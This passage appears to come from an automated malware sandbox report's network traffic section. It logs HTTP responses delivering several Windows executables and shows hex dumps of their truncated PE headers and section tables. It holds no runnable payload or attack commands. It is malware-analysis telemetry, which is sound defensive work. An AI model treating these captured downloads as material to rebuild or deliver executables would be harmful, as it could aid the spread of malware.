0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 02 Oct 2024 03:20:11 GMTContent-Type: application/octet-streamContent-Length: 423840Last-Modified: Tue, 01 Oct 2024 13:44:45 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fbfccd-677a0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 1e 06 00 00 20 00 00 00 20 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 40 06 00 00 04 00 00 00 22 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 06 00 00 02 00 00 00 26 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3e 06 00 00 00 00 00 48 00 00 00 02 00 05 00 40 2b 06 00 20 12 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 42 2c d1 93 c8 4a 65 ad 38 b7 18 2a c6 c0 85 02 b3 e5 ca 58 66 dc e9 33 f5 0c 5a 6d 97 10 f4 76 07 24 3a be 9f dc 72 84 b7 89 d0 ea 1f 58 f2 1e 82 4d be cd 36 27 34 b2 db b6 2c ab 4f 97 54 df 13 fc 21 b2 07 42 0c da bf 43 98 7c f4 98 0d 9b 5b 05 7b 32 ae 79 e2 92 81 64 3f 31 64 32 a6 6d b5 be 84 92 cf 08 fd 55 35 41 39 fb 33 f1 42 dd 5b 6c d7 74 a6 a7 50 33 66 c5 41 2a 90 79 fb 7a 24 fd 5b 59 69 7f 06 96 ca 88 08 ca e7 11 99 a0 c1 f5 f4 5b e1 e1 76 ea 11 5c b7 1a 42 71 a1 ef 67 11 5e e9 91 ee f9 02 88 70 64 92 93 db 8c c5 7b 04 9f b0 92 74 05 7d e5 79 2a b4 e8 af 5b 50 c8 04 dc 0a 76 07 79 1e 48 07 20 ac e5 40 e7 27 32 e8 5e ab f8 34 dc 68 be b8 37 21 d4 b6 4f 80 77 d5 bc 4a 78 b5 ab 1d 69 e3 9e a4 e8 1a ab 76 a8 14 de b5 3f a1 47 d7 a4 36 5e e7 f9 05 60 ff 71 38 da c2 4e 5a b5 ab 2d 97 54 9a bf 96 75 ef 9a d0 92 f2 57 31 7a 1e 8b a0 fc 01 4b c7 b6 81 5f 9c c1 90 2a ff 16 37 1b 2d cb 1b a1 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 02 Oct 2024 03:20:12 GMTContent-Type: application/octet-streamContent-Length: 391072Last-Modified: Tue, 01 Oct 2024 13:44:41 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fbfcc9-5f7a0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 20 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 a0 05 00 00 06 00 00 00 00 00 00 ee be 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 a2 22 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 05 00 53 00 00 00 00 c0 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 d1 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 60 bd 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 9e 05 00 00 20 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 c0 